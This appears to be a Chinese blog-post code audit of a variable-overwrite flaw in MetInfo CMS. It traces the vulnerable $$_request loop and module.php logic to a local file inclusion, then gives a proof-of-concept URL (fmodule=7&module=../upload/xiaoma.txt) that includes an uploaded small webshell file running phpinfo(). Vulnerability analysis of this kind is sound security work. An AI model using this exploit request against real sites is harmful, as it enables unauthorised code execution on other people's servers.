zoukankan      html  css  js  c++  java
  • 代码审计-MetInfo CMS变量覆盖漏洞

    0x01 代码分析

    安装好后是这样的

    漏洞文件地址includecommon.inc.php

    首先是在这个文件发现存在变量覆盖的漏洞

    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    
    foreach($$_request as $_key => $_value) {
    
    $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
    
    $_M['form'][$_key] = daddslashes($_value,0,0,1);
    
    }
    
    }

    这里注意$$request造成变量覆盖

    代码中使用 $_request 来获取用户信息

    代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。

    代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数 daddslashes() 对变量值进行处理。

    那么这里daddslashes这个函数我们看看对传递的变量做了哪些处理或者过滤

    /*POST变量转换*/
     function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
         !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
         if(!MAGIC_QUOTES_GPC || $force) {
             if(is_array($string)) {
                 foreach($string as $key => $val) {
                     $string[$key] = daddslashes($val, $force);
                 }
             } else {
                 $string = addslashes($string);
             }
         }
         if(is_array($string)){
             if($url){
                 //$string='';
                 foreach($string as $key => $val) {
                     $string[$key] = daddslashes($val, $force);
                 }
             }else{
                 foreach($string as $key => $val) {
                     $string[$key] = daddslashes($val, $force);
                 }
             }
         }
     
         return $string;
     }

    可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。

    好,那里我们确实存在变量覆盖漏洞了,现在我们就需要寻找可以和变量覆盖漏洞配合造成危害的地方了,比如任意文件包含、任意文件读取等等。所以我们现在开始查找包含了这个common.inc.php的文件以及可以造成覆盖变量的利用文件。

    经查找后发现,在/include/module.php是可以利用的

    /include/module.php

    然后我们还可以查找包含了这个文件(/include/module.php)的的文件

    aboutindex.php

    <?php
    
    # MetInfo Enterprise Content Management System
    
    # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
    
    $filpy = basename(dirname(__FILE__));
    
    $fmodule=1;
    
    require_once '../include/module.php';
    
    require_once $module;
    
    # This program is an open source system, commercial use, please consciously to purchase commercial license.
    
    # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
    
    ?>

    这个文件有两个可疑变量,$fmoudle$module,$fmoudle的作用暂时不知道,$module这个变量是用来指定包含的文件的,并且$module在此页面没有被赋值,我们先来看看$module的值是什么

    看到了$module的值是show.php,好我们再来看看$fmodule这个变量是干什么的

    搜索后发现在在/include/module.php

    $module='';
    
    if($fmodule!=7){
    
    if($mdle==100)$mdle=3;
    
    if($mdle==101)$mdle=5;
    
    $module = $modulefname[$mdle][$mdtp];
    
    if($module==NULL){okinfo('../404.html');exit();}
    
    if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
    
    if($fmodule==$mdle){
    
    $module = $modulefname[$mdle][$mdtp];
    
    }
    
    else{
    
    okinfo('../404.html');exit();
    
    }
    
    }
    
    else{

    $module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数

    到这里也就是说 aboutindex.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖

    0x02 漏洞利用

    下面就是利用的示例,包含上传的小马文件xiaoma.txt:

     <?php phpinfo();?>

    浏览器执行 http://192.168.5.171/about/index.php?fmodule=7&module=../upload/xiaoma.txt

  • 相关阅读:
    Percona: How to Restore MySQL Logical Backup at Maximum Speed
    MySQL之UNDO及MVCC、崩溃恢复
    MySQL checkpoint深入分析
    关于MySQL latch争用深入分析与判断
    InnoDB关键特性之刷新邻接页-异步IO
    InnoDB关键特性之自适应hash索引
    MySQL后台线程的清理工作
    MySQL IO线程及相关参数调优
    MySQL存储写入性能严重抖动分析
    MySQL的SQL预处理(Prepared)
  • 原文地址:https://www.cnblogs.com/-qing-/p/10889100.html
Copyright © 2011-2022 走看看